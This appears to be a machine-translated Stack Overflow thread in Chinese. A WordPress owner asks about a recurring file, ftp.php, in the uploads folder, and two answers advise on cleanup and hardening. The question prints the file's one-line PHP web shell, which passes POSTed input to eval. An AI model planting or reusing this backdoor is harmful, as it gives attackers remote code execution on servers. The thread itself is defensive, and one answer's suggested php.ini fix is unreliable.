黑客离开ftp.php

时间:2014-08-18 13:32:19

标签: php wordpress security ftp

好像我的几个wordpress网站一直被黑客入侵。我安装了WordFence并更改了我的密码等。但是名为http://ftp.php的文件不断上传到我的“上传”文件夹。

它包含:

<?php
echo '123.txt';
?>
<?php @eval($_POST['a']);?>

这是做什么的?任何想法如何摆脱这个?除了这个文件,我在博客上没有遇到任何其他问题。

2 个答案:

答案 0 :(得分:2)

一些建议可以帮助您入门,如果他已经可以访问您的服务器,那么您需要做的不仅仅是修补他利用的原始安全漏洞。

1] 您需要确定他如何上传文件并阻止他这样做。如果您的网站上有一个表格没有验证数据(通过使用sanitize_key()或等价物),那么他很可能会以这种方式注入他的代码。确保您网站上的所有用户输入都被清理,仔细检查所有内容,插件,您自己的代码等。

2] 他是否获得了服务器级别的访问权限?他只是获得了访问你的Wordpress后端的权限吗?如果他有FTP或类似的访问你的网站,我的意思是,他们已经入侵并拥有它,你需要确保他没有设置某种类型的后门。当您说您已经更改了登录信息,并且他仍然设法重新上传了他的文件时,这表明了后门。如果它不是后门,那么他只是重新使用他第一次获得访问权限的安全漏洞。检查整个服务器是一个非常好的主意,以确保他在某个地方插入了一个流氓PHP文件,允许他重新执行代码。如果您在获得访问权限之前对服务器文件进行了干净备份,请擦除服务器并重新上载干净的副本。为了保持领先一步,你需要在他之后进行清理。

3] 确定他利用访问您网站的漏洞。如果您正在对网站上的所有用户输入进行清理,并且您确信他没有设置后门,则需要开始记录所有内容,并在/再次发生这种情况时检查日志。如果你不能阻止他访问服务器,你需要抓住他这样做,这样你就可以更好地了解他有权访问的内容以及他如何访问它。据你所知,这家伙现在可以访问shell了,甚至不再通过FTP或Wordpress登录了。你真的需要尽职尽责,找出你的泄密点。然后打补丁。

4] 要现实和谦虚。如果您发现他已经渗透到您的体验太远,请与您的托管服务提供商联系,并告诉他们有关情况。可以向他们寻求帮助,这就是他们的目的。相信我,他们想要的最后一件事就是黑客围绕着他们珍贵的服务器。他们可能已经有他访问服务器的日志,甚至可以帮助你获取他的IP地址。至少,如果他在服务器级别访问您的网站,他们应该能够帮助您阻止他。

5] 如果您设法让他出局,您需要确保已插入Wordpress安装中的所有泄漏。所有数据都需要进行清理,确保您的服务器上没有恶意文件,使用尽可能少的插件(它们为您尚未了解的安全漏洞提供了更多机会),并确保您拥有强大的密码不容易蛮力。保持记录所有可能的内容也是一个好主意,这样当有类似的事情发生时你就可以参考。你让他更难以访问你的服务器,他越有可能转向更容易的目标。对黑客的最佳攻击是一个很好的防御。

您可能会从Wordpress Codex中找到这篇文章的信息:http://codex.wordpress.org/Hardening_WordPress

6] 备份您的文件和数据库。现在。一旦你完成了所有这些工作,如果你还没有备份服务器上的所有内容,那么这是一个非常好的主意。你需要意识到这个黑客可以是一个完整的混蛋,只是删除了一切。一旦你知道你的文件是干净的,你的服务器是无黑客的,那就回来......一切都好。备份数据库也是如此。您应至少每周执行一次,具体取决于您更新站点的频率,并将备份存储在其他服务器上。如果您真的想要聪明,请在本地计算机上进行第三次备份。越多越好,因为你不想发现自己处于一个必须从头开始的位置,因为黑客决定删除你的所有文件。

祝您好运,如果您有任何更新,请随时发布。我们或许能够为您提供更具体,更好的建议。

答案 1 :(得分:0)

“eval”是一个邪恶的功能!该功能可以在服务器上执行命令。

该命令来自$_POST['a']

以下示例:

黑客使用简单的文本框和提交按钮编写基于HTML的公式。 文本框的内容(在本例中为$_POST['a'])将发送到您的PHP文件。

PHP文件见:

<?php @eval($_POST['a']);?>

这是执行命令的功能。来自$_POST['a']的内容可以ls -la来重温当前的直播节目文件结构 - 一个简单的linux命令。

有关详情,请参阅http://php.net/manual/en/function.eval.php

你怎么能防止这种功能?

对于那个邪恶的函数,在你的php.ini中使用disable_function derective!

http://php.net/manual/en/ini.core.php#ini.disable-functions